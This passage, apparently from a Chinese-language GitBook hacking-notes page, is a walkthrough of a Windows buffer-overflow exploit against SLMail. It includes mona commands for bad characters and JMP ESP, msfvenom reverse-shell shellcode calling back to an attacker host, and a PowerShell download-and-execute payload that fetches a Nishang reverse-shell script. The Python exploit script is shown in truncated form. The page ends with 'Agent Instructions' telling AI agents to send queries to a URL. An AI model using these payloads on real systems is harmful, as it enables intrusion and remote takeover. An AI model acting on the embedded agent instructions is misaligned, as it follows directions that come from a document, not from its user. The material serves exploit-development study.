!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*然后我们再次更新 bytearray：
```
!mona bytearray -cpb '/x00/x0a/x0d'
```
* 如果我们再做一次，就不再出现错误了：
## 搜索可用于访问 ESP 并加载我们 Shellcode 的 OpCode：
{% hint style="success" %}
在生成 shellcode 并识别 badchars 之后，将执行流重定向到 shellcode。目标是用一个包含 `JMP ESP` 指令的内存地址覆盖 EIP，因为 shellcode 位于 ESP 中，而 EIP 无法可靠地直接指向它。可以使用诸如 `mona.py` 之类的工具在已加载模块中搜索可用的 `JMP ESP` opcode。一旦找到该地址，就把它放入 EIP 中，这样执行就会跳转到 ESP 并运行 shellcode。
{% endhint %}
* 下面的命令会生成一个 Windows x86 shellcode，使用到 IP 地址 192.168.71.128 的 443 端口进行反向 TCP 连接，并采用 shikata/\_ga/\_nai 编码，同时排除 badchars。
```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* 现在，使用 **!mona modules** 命令，我们将搜索一个未受保护且其值为 false 的模块：
* 我们要找的是一个 jmp esp，它会翻译成 "/xFF/xE4"：
* 使用下面的命令，我们应该选择这些没有保护且没有 Bad char 的模块之一：
* 在这种情况下，我们选择最后一个，即 "0x5f4c4d13"。我们将创建一个断点来检查程序流程是否正确经过它：
* 使用这个脚本，我们将把 EIP 改成我们感兴趣的那个值：
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
* 现在，如果我们跟随 ESP 的转储，shellcode 就会被显示出来：
## 使用 NOP、栈布局和 Shellcode 解释来获得 RCE（远程代码执行）。
* 它无法被我们正确解释：
* 现在让我们按如下方式修改脚本，加入这个 NOP：
* 最终脚本：
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
## 修改 shellcode 以控制你可以执行的命令：
{% hint style="success" %}
除了反向 shell payload 之外， `windows/exec` payload 还可以通过 `CMD` 选项直接嵌入命令。这会创建在运行时执行所选命令的 shellcode。使用 `msfvenom -p windows/exec CMD=""`生成它，然后使用相同的缓冲区溢出技术覆盖 EIP，并将执行重定向到 shellcode。
{% endhint %}
* 下载这个 [脚本 ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)并将其命名为 PS.ps1
将以下内容添加到脚本末尾： `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`
* 生成 shellcode：
```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* 更新后的脚本：
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
